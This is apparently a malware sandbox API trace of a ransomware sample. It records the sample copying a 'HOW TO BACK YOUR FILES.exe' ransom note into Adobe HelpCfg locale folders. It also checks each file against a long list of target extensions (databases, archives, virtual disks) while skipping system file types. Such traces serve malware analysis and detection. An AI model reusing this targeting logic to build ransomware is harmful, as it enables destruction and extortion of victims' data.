	[0056.433] lstrcmpiW (lpString1="pcfg", lpString2="kexi") returned 1
	[0056.433] lstrlenW (lpString="kexic") returned 5
	[0056.433] lstrcmpiW (lpString1="lpcfg", lpString2="kexic") returned 1
	[0056.433] lstrlenW (lpString="kexis") returned 5
	[0056.433] lstrcmpiW (lpString1="lpcfg", lpString2="kexis") returned 1
	[0056.433] lstrlenW (lpString="lgc") returned 3
	[0056.433] lstrcmpiW (lpString1="cfg", lpString2="lgc") returned -1
	[0056.433] lstrlenW (lpString="lwx") returned 3
	[0056.433] lstrcmpiW (lpString1="cfg", lpString2="lwx") returned -1
	[0056.433] lstrlenW (lpString="maf") returned 3
	[0056.433] lstrcmpiW (lpString1="cfg", lpString2="maf") returned -1
	[0056.433] lstrlenW (lpString="maq") returned 3
	[0056.433] lstrcmpiW (lpString1="cfg", lpString2="maq") returned -1
	[0056.434] lstrlenW (lpString="mar") returned 3
	[0056.434] lstrcmpiW (lpString1="cfg", lpString2="mar") returned -1
	[0056.434] lstrlenW (lpString="marshal") returned 7
	[0056.434] lstrcmpiW (lpString1="helpcfg", lpString2="marshal") returned -1
	[0056.434] lstrlenW (lpString="mas") returned 3
	[0056.434] lstrcmpiW (lpString1="cfg", lpString2="mas") returned -1
	[0056.434] lstrlenW (lpString="mav") returned 3
	[0056.434] lstrcmpiW (lpString1="cfg", lpString2="mav") returned -1
	[0056.434] lstrlenW (lpString="maw") returned 3
	[0056.434] lstrcmpiW (lpString1="cfg", lpString2="maw") returned -1
	[0056.434] lstrlenW (lpString="mdbhtml") returned 7
	[0056.434] lstrcmpiW (lpString1="helpcfg", lpString2="mdbhtml") returned -1
	[0056.434] lstrlenW (lpString="mdn") returned 3
	[0056.434] lstrcmpiW (lpString1="cfg", lpString2="mdn") returned -1
	[0056.434] lstrlenW (lpString="mdt") returned 3
	[0056.434] lstrcmpiW (lpString1="cfg", lpString2="mdt") returned -1
	[0056.434] lstrlenW (lpString="mfd") returned 3
	[0056.434] lstrcmpiW (lpString1="cfg", lpString2="mfd") returned -1
	[0056.434] lstrlenW (lpString="mpd") returned 3
	[0056.434] lstrcmpiW (lpString1="cfg", lpString2="mpd") returned -1
	[0056.434] lstrlenW (lpString="mrg") returned 3
	[0056.434] lstrcmpiW (lpString1="cfg", lpString2="mrg") returned -1
	[0056.434] lstrlenW (lpString="mud") returned 3
	[0056.434] lstrcmpiW (lpString1="cfg", lpString2="mud") returned -1
	[0056.434] lstrlenW (lpString="mwb") returned 3
	[0056.434] lstrcmpiW (lpString1="cfg", lpString2="mwb") returned -1
	[0056.434] lstrlenW (lpString="myd") returned 3
	[0056.434] lstrcmpiW (lpString1="cfg", lpString2="myd") returned -1
	[0056.434] lstrlenW (lpString="ndf") returned 3
	[0056.434] lstrcmpiW (lpString1="cfg", lpString2="ndf") returned -1
	[0056.434] lstrlenW (lpString="nnt") returned 3
	[0056.434] lstrcmpiW (lpString1="cfg", lpString2="nnt") returned -1
	[0056.434] lstrlenW (lpString="nrmlib") returned 6
	[0056.434] lstrcmpiW (lpString1="elpcfg", lpString2="nrmlib") returned -1
	[0056.435] lstrlenW (lpString="ns2") returned 3
	[0056.435] lstrcmpiW (lpString1="cfg", lpString2="ns2") returned -1
	[0056.435] lstrlenW (lpString="ns3") returned 3
	[0056.435] lstrcmpiW (lpString1="cfg", lpString2="ns3") returned -1
	[0056.435] lstrlenW (lpString="ns4") returned 3
	[0056.435] lstrcmpiW (lpString1="cfg", lpString2="ns4") returned -1
	[0056.435] lstrlenW (lpString="nsf") returned 3
	[0056.435] lstrcmpiW (lpString1="cfg", lpString2="nsf") returned -1
	[0056.435] lstrlenW (lpString="nv") returned 2
	[0056.435] lstrcmpiW (lpString1="fg", lpString2="nv") returned -1
	[0056.435] lstrlenW (lpString="nv2") returned 3
	[0056.435] lstrcmpiW (lpString1="cfg", lpString2="nv2") returned -1
	[0056.435] lstrlenW (lpString="nwdb") returned 4
	[0056.435] lstrcmpiW (lpString1="pcfg", lpString2="nwdb") returned 1
	[0056.435] lstrlenW (lpString="nyf") returned 3
	[0056.435] lstrcmpiW (lpString1="cfg", lpString2="nyf") returned -1
	[0056.435] lstrlenW (lpString="odb") returned 3
	[0056.435] lstrcmpiW (lpString1="cfg", lpString2="odb") returned -1
	[0056.435] lstrlenW (lpString="odb") returned 3
	[0056.435] lstrcmpiW (lpString1="cfg", lpString2="odb") returned -1
	[0056.435] lstrlenW (lpString="oqy") returned 3
	[0056.435] lstrcmpiW (lpString1="cfg", lpString2="oqy") returned -1
	[0056.435] lstrlenW (lpString="ora") returned 3
	[0056.435] lstrcmpiW (lpString1="cfg", lpString2="ora") returned -1
	[0056.435] lstrlenW (lpString="orx") returned 3
	[0056.435] lstrcmpiW (lpString1="cfg", lpString2="orx") returned -1
	[0056.435] lstrlenW (lpString="owc") returned 3
	[0056.435] lstrcmpiW (lpString1="cfg", lpString2="owc") returned -1
	[0056.435] lstrlenW (lpString="p96") returned 3
	[0056.435] lstrcmpiW (lpString1="cfg", lpString2="p96") returned -1
	[0056.435] lstrlenW (lpString="p97") returned 3
	[0056.435] lstrcmpiW (lpString1="cfg", lpString2="p97") returned -1
	[0056.435] lstrlenW (lpString="pan") returned 3
	[0056.436] lstrcmpiW (lpString1="cfg", lpString2="pan") returned -1
	[0056.436] lstrlenW (lpString="pdb") returned 3
	[0056.436] lstrcmpiW (lpString1="cfg", lpString2="pdb") returned -1
	[0056.436] lstrlenW (lpString="pdm") returned 3
	[0056.436] lstrcmpiW (lpString1="cfg", lpString2="pdm") returned -1
	[0056.436] lstrlenW (lpString="pnz") returned 3
	[0056.436] lstrcmpiW (lpString1="cfg", lpString2="pnz") returned -1
	[0056.436] lstrlenW (lpString="qry") returned 3
	[0056.436] lstrcmpiW (lpString1="cfg", lpString2="qry") returned -1
	[0056.436] lstrlenW (lpString="qvd") returned 3
	[0056.436] lstrcmpiW (lpString1="cfg", lpString2="qvd") returned -1
	[0056.436] lstrlenW (lpString="rbf") returned 3
	[0056.436] lstrcmpiW (lpString1="cfg", lpString2="rbf") returned -1
	[0056.436] lstrlenW (lpString="rctd") returned 4
	[0056.436] lstrcmpiW (lpString1="pcfg", lpString2="rctd") returned -1
	[0056.436] lstrlenW (lpString="rod") returned 3
	[0056.436] lstrcmpiW (lpString1="cfg", lpString2="rod") returned -1
	[0056.436] lstrlenW (lpString="rodx") returned 4
	[0056.436] lstrcmpiW (lpString1="pcfg", lpString2="rodx") returned -1
	[0056.436] lstrlenW (lpString="rpd") returned 3
	[0056.436] lstrcmpiW (lpString1="cfg", lpString2="rpd") returned -1
	[0056.436] lstrlenW (lpString="rsd") returned 3
	[0056.436] lstrcmpiW (lpString1="cfg", lpString2="rsd") returned -1
	[0056.436] lstrlenW (lpString="sas7bdat") returned 8
	[0056.436] lstrcmpiW (lpString1=".helpcfg", lpString2="sas7bdat") returned -1
	[0056.436] lstrlenW (lpString="sbf") returned 3
	[0056.436] lstrcmpiW (lpString1="cfg", lpString2="sbf") returned -1
	[0056.436] lstrlenW (lpString="scx") returned 3
	[0056.436] lstrcmpiW (lpString1="cfg", lpString2="scx") returned -1
	[0056.436] lstrlenW (lpString="sdb") returned 3
	[0056.436] lstrcmpiW (lpString1="cfg", lpString2="sdb") returned -1
	[0056.436] lstrlenW (lpString="sdc") returned 3
	[0056.436] lstrcmpiW (lpString1="cfg", lpString2="sdc") returned -1
	[0056.437] lstrlenW (lpString="sdf") returned 3
	[0056.437] lstrcmpiW (lpString1="cfg", lpString2="sdf") returned -1
	[0056.437] lstrlenW (lpString="sis") returned 3
	[0056.437] lstrcmpiW (lpString1="cfg", lpString2="sis") returned -1
	[0056.437] lstrlenW (lpString="spq") returned 3
	[0056.437] lstrcmpiW (lpString1="cfg", lpString2="spq") returned -1
	[0056.437] lstrlenW (lpString="te") returned 2
	[0056.437] lstrcmpiW (lpString1="fg", lpString2="te") returned -1
	[0056.437] lstrlenW (lpString="teacher") returned 7
	[0056.437] lstrcmpiW (lpString1="helpcfg", lpString2="teacher") returned -1
	[0056.437] lstrlenW (lpString="tmd") returned 3
	[0056.437] lstrcmpiW (lpString1="cfg", lpString2="tmd") returned -1
	[0056.437] lstrlenW (lpString="tps") returned 3
	[0056.437] lstrcmpiW (lpString1="cfg", lpString2="tps") returned -1
	[0056.437] lstrlenW (lpString="trc") returned 3
	[0056.437] lstrcmpiW (lpString1="cfg", lpString2="trc") returned -1
	[0056.437] lstrlenW (lpString="trc") returned 3
	[0056.437] lstrcmpiW (lpString1="cfg", lpString2="trc") returned -1
	[0056.437] lstrlenW (lpString="trm") returned 3
	[0056.437] lstrcmpiW (lpString1="cfg", lpString2="trm") returned -1
	[0056.437] lstrlenW (lpString="udb") returned 3
	[0056.437] lstrcmpiW (lpString1="cfg", lpString2="udb") returned -1
	[0056.437] lstrlenW (lpString="udl") returned 3
	[0056.437] lstrcmpiW (lpString1="cfg", lpString2="udl") returned -1
	[0056.437] lstrlenW (lpString="usr") returned 3
	[0056.437] lstrcmpiW (lpString1="cfg", lpString2="usr") returned -1
	[0056.437] lstrlenW (lpString="v12") returned 3
	[0056.437] lstrcmpiW (lpString1="cfg", lpString2="v12") returned -1
	[0056.437] lstrlenW (lpString="vis") returned 3
	[0056.437] lstrcmpiW (lpString1="cfg", lpString2="vis") returned -1
	[0056.437] lstrlenW (lpString="vpd") returned 3
	[0056.437] lstrcmpiW (lpString1="cfg", lpString2="vpd") returned -1
	[0056.437] lstrlenW (lpString="vvv") returned 3
	[0056.438] lstrcmpiW (lpString1="cfg", lpString2="vvv") returned -1
	[0056.438] lstrlenW (lpString="wdb") returned 3
	[0056.438] lstrcmpiW (lpString1="cfg", lpString2="wdb") returned -1
	[0056.438] lstrlenW (lpString="wmdb") returned 4
	[0056.438] lstrcmpiW (lpString1="pcfg", lpString2="wmdb") returned -1
	[0056.438] lstrlenW (lpString="wrk") returned 3
	[0056.438] lstrcmpiW (lpString1="cfg", lpString2="wrk") returned -1
	[0056.438] lstrlenW (lpString="xdb") returned 3
	[0056.438] lstrcmpiW (lpString1="cfg", lpString2="xdb") returned -1
	[0056.438] lstrlenW (lpString="xld") returned 3
	[0056.438] lstrcmpiW (lpString1="cfg", lpString2="xld") returned -1
	[0056.438] lstrlenW (lpString="xmlff") returned 5
	[0056.438] lstrcmpiW (lpString1="lpcfg", lpString2="xmlff") returned -1
	[0056.438] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0
	[0056.438] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0056.438] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcd0
	[0056.438] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN"
	[0056.438] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59b640 | out: hHeap=0x580000) returned 1
	[0056.438] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0056.438] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN") returned 55
	[0056.438] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN"
	[0056.438] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.438] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\zh_cn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.446] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.446] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39b822b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39b822b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.446] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.446] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.446] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.446] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.446] lstrlenW (lpString="Apollon865") returned 10
	[0056.446] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.446] lstrlenW (lpString=".dll") returned 4
	[0056.446] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.446] lstrlenW (lpString=".lnk") returned 4
	[0056.446] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.446] lstrlenW (lpString=".ini") returned 4
	[0056.447] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.447] lstrlenW (lpString=".sys") returned 4
	[0056.447] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.447] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.447] lstrlenW (lpString="bak") returned 3
	[0056.447] lstrcmpiW (lpString1="cfg", lpString2="bak") returned 1
	[0056.447] lstrlenW (lpString="ba_") returned 3
	[0056.447] lstrcmpiW (lpString1="cfg", lpString2="ba_") returned 1
	[0056.447] lstrlenW (lpString="dbb") returned 3
	[0056.447] lstrcmpiW (lpString1="cfg", lpString2="dbb") returned -1
	[0056.447] lstrlenW (lpString="vmdk") returned 4
	[0056.447] lstrcmpiW (lpString1="pcfg", lpString2="vmdk") returned -1
	[0056.447] lstrlenW (lpString="rar") returned 3
	[0056.447] lstrcmpiW (lpString1="cfg", lpString2="rar") returned -1
	[0056.447] lstrlenW (lpString="zip") returned 3
	[0056.447] lstrcmpiW (lpString1="cfg", lpString2="zip") returned -1
	[0056.447] lstrlenW (lpString="tgz") returned 3
	[0056.447] lstrcmpiW (lpString1="cfg", lpString2="tgz") returned -1
	[0056.447] lstrlenW (lpString="vbox") returned 4
	[0056.447] lstrcmpiW (lpString1="pcfg", lpString2="vbox") returned -1
	[0056.447] lstrlenW (lpString="vdi") returned 3
	[0056.447] lstrcmpiW (lpString1="cfg", lpString2="vdi") returned -1
	[0056.447] lstrlenW (lpString="vhd") returned 3
	[0056.447] lstrcmpiW (lpString1="cfg", lpString2="vhd") returned -1
	[0056.447] lstrlenW (lpString="vhdx") returned 4
	[0056.447] lstrcmpiW (lpString1="pcfg", lpString2="vhdx") returned -1
	[0056.447] lstrlenW (lpString="avhd") returned 4
	[0056.447] lstrcmpiW (lpString1="pcfg", lpString2="avhd") returned 1
	[0056.447] lstrlenW (lpString="db") returned 2
	[0056.447] lstrcmpiW (lpString1="fg", lpString2="db") returned 1
	[0056.447] lstrlenW (lpString="db2") returned 3
	[0056.447] lstrcmpiW (lpString1="cfg", lpString2="db2") returned -1
	[0056.447] lstrlenW (lpString="db3") returned 3
	[0056.447] lstrcmpiW (lpString1="cfg", lpString2="db3") returned -1
	[0056.447] lstrlenW (lpString="dbf") returned 3
	[0056.448] lstrcmpiW (lpString1="cfg", lpString2="dbf") returned -1
	[0056.448] lstrlenW (lpString="mdf") returned 3
	[0056.448] lstrcmpiW (lpString1="cfg", lpString2="mdf") returned -1
	[0056.448] lstrlenW (lpString="mdb") returned 3
	[0056.448] lstrcmpiW (lpString1="cfg", lpString2="mdb") returned -1
	[0056.448] lstrlenW (lpString="sql") returned 3
	[0056.448] lstrcmpiW (lpString1="cfg", lpString2="sql") returned -1
	[0056.448] lstrlenW (lpString="sqlite") returned 6
	[0056.448] lstrcmpiW (lpString1="elpcfg", lpString2="sqlite") returned -1
	[0056.448] lstrlenW (lpString="sqlite3") returned 7
	[0056.448] lstrcmpiW (lpString1="helpcfg", lpString2="sqlite3") returned -1
	[0056.448] lstrlenW (lpString="sqlitedb") returned 8
	[0056.448] lstrcmpiW (lpString1=".helpcfg", lpString2="sqlitedb") returned -1
	[0056.448] lstrlenW (lpString="xml") returned 3
	[0056.448] lstrcmpiW (lpString1="cfg", lpString2="xml") returned -1
	[0056.448] lstrlenW (lpString="$er") returned 3
	[0056.448] lstrcmpiW (lpString1="cfg", lpString2="$er") returned 1
	[0056.448] lstrlenW (lpString="4dd") returned 3
	[0056.448] lstrcmpiW (lpString1="cfg", lpString2="4dd") returned 1
	[0056.448] lstrlenW (lpString="4dl") returned 3
	[0056.448] lstrcmpiW (lpString1="cfg", lpString2="4dl") returned 1
	[0056.448] lstrlenW (lpString="^^^") returned 3
	[0056.448] lstrcmpiW (lpString1="cfg", lpString2="^^^") returned 1
	[0056.448] lstrlenW (lpString="abs") returned 3
	[0056.448] lstrcmpiW (lpString1="cfg", lpString2="abs") returned 1
	[0056.448] lstrlenW (lpString="abx") returned 3
	[0056.448] lstrcmpiW (lpString1="cfg", lpString2="abx") returned 1
	[0056.448] lstrlenW (lpString="accdb") returned 5
	[0056.448] lstrcmpiW (lpString1="lpcfg", lpString2="accdb") returned 1
	[0056.448] lstrlenW (lpString="accdc") returned 5
	[0056.448] lstrcmpiW (lpString1="lpcfg", lpString2="accdc") returned 1
	[0056.448] lstrlenW (lpString="accde") returned 5
	[0056.448] lstrcmpiW (lpString1="lpcfg", lpString2="accde") returned 1
	[0056.448] lstrlenW (lpString="accdr") returned 5
	[0056.449] lstrcmpiW (lpString1="lpcfg", lpString2="accdr") returned 1
	[0056.449] lstrlenW (lpString="accdt") returned 5
	[0056.449] lstrcmpiW (lpString1="lpcfg", lpString2="accdt") returned 1
	[0056.449] lstrlenW (lpString="accdw") returned 5
	[0056.449] lstrcmpiW (lpString1="lpcfg", lpString2="accdw") returned 1
	[0056.449] lstrlenW (lpString="accft") returned 5
	[0056.449] lstrcmpiW (lpString1="lpcfg", lpString2="accft") returned 1
	[0056.449] lstrlenW (lpString="adb") returned 3
	[0056.449] lstrcmpiW (lpString1="cfg", lpString2="adb") returned 1
	[0056.449] lstrlenW (lpString="adb") returned 3
	[0056.449] lstrcmpiW (lpString1="cfg", lpString2="adb") returned 1
	[0056.449] lstrlenW (lpString="ade") returned 3
	[0056.449] lstrcmpiW (lpString1="cfg", lpString2="ade") returned 1
	[0056.449] lstrlenW (lpString="adf") returned 3
	[0056.449] lstrcmpiW (lpString1="cfg", lpString2="adf") returned 1
	[0056.449] lstrlenW (lpString="adn") returned 3
	[0056.449] lstrcmpiW (lpString1="cfg", lpString2="adn") returned 1
	[0056.449] lstrlenW (lpString="adp") returned 3
	[0056.449] lstrcmpiW (lpString1="cfg", lpString2="adp") returned 1
	[0056.449] lstrlenW (lpString="alf") returned 3
	[0056.449] lstrcmpiW (lpString1="cfg", lpString2="alf") returned 1
	[0056.449] lstrlenW (lpString="ask") returned 3
	[0056.449] lstrcmpiW (lpString1="cfg", lpString2="ask") returned 1
	[0056.449] lstrlenW (lpString="btr") returned 3
	[0056.449] lstrcmpiW (lpString1="cfg", lpString2="btr") returned 1
	[0056.449] lstrlenW (lpString="cat") returned 3
	[0056.449] lstrcmpiW (lpString1="cfg", lpString2="cat") returned 1
	[0056.449] lstrlenW (lpString="cdb") returned 3
	[0056.449] lstrcmpiW (lpString1="cfg", lpString2="cdb") returned 1
	[0056.449] lstrlenW (lpString="ckp") returned 3
	[0056.449] lstrcmpiW (lpString1="cfg", lpString2="ckp") returned -1
	[0056.449] lstrlenW (lpString="cma") returned 3
	[0056.450] lstrcmpiW (lpString1="cfg", lpString2="cma") returned -1
	[0056.450] lstrlenW (lpString="cpd") returned 3
	[0056.450] lstrcmpiW (lpString1="cfg", lpString2="cpd") returned -1
	[0056.450] lstrlenW (lpString="dacpac") returned 6
	[0056.450] lstrcmpiW (lpString1="elpcfg", lpString2="dacpac") returned 1
	[0056.450] lstrlenW (lpString="dad") returned 3
	[0056.450] lstrcmpiW (lpString1="cfg", lpString2="dad") returned -1
	[0056.450] lstrlenW (lpString="dadiagrams") returned 10
	[0056.450] lstrcmpiW (lpString1=".0.helpcfg", lpString2="dadiagrams") returned -1
	[0056.450] lstrlenW (lpString="daschema") returned 8
	[0056.450] lstrcmpiW (lpString1=".helpcfg", lpString2="daschema") returned -1
	[0056.450] lstrlenW (lpString="db-journal") returned 10
	[0056.450] lstrcmpiW (lpString1=".0.helpcfg", lpString2="db-journal") returned -1
	[0056.450] lstrlenW (lpString="db-shm") returned 6
	[0056.450] lstrcmpiW (lpString1="elpcfg", lpString2="db-shm") returned 1
	[0056.450] lstrlenW (lpString="db-wal") returned 6
	[0056.450] lstrcmpiW (lpString1="elpcfg", lpString2="db-wal") returned 1
	[0056.450] lstrlenW (lpString="dbc") returned 3
	[0056.450] lstrcmpiW (lpString1="cfg", lpString2="dbc") returned -1
	[0056.450] lstrlenW (lpString="dbs") returned 3
	[0056.450] lstrcmpiW (lpString1="cfg", lpString2="dbs") returned -1
	[0056.450] lstrlenW (lpString="dbt") returned 3
	[0056.450] lstrcmpiW (lpString1="cfg", lpString2="dbt") returned -1
	[0056.450] lstrlenW (lpString="dbv") returned 3
	[0056.450] lstrcmpiW (lpString1="cfg", lpString2="dbv") returned -1
	[0056.450] lstrlenW (lpString="dbx") returned 3
	[0056.450] lstrcmpiW (lpString1="cfg", lpString2="dbx") returned -1
	[0056.450] lstrlenW (lpString="dcb") returned 3
	[0056.450] lstrcmpiW (lpString1="cfg", lpString2="dcb") returned -1
	[0056.450] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA"
	[0056.450] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59b5c8 | out: hHeap=0x580000) returned 1
	[0056.451] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0056.451] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA") returned 55
	[0056.451] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA"
	[0056.451] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.451] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\uk_ua\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.456] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.456] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39b822b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39b822b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.456] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.456] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.456] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.456] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.456] lstrlenW (lpString="Apollon865") returned 10
	[0056.456] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.456] lstrlenW (lpString=".dll") returned 4
	[0056.456] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.457] lstrlenW (lpString=".lnk") returned 4
	[0056.457] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.457] lstrlenW (lpString=".ini") returned 4
	[0056.457] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.457] lstrlenW (lpString=".sys") returned 4
	[0056.457] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.457] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.457] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR"
	[0056.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59b550 | out: hHeap=0x580000) returned 1
	[0056.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0056.457] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR") returned 55
	[0056.457] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR"
	[0056.457] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.457] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\tr_tr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.461] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.461] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39ba8410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39ba8410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.461] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.462] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
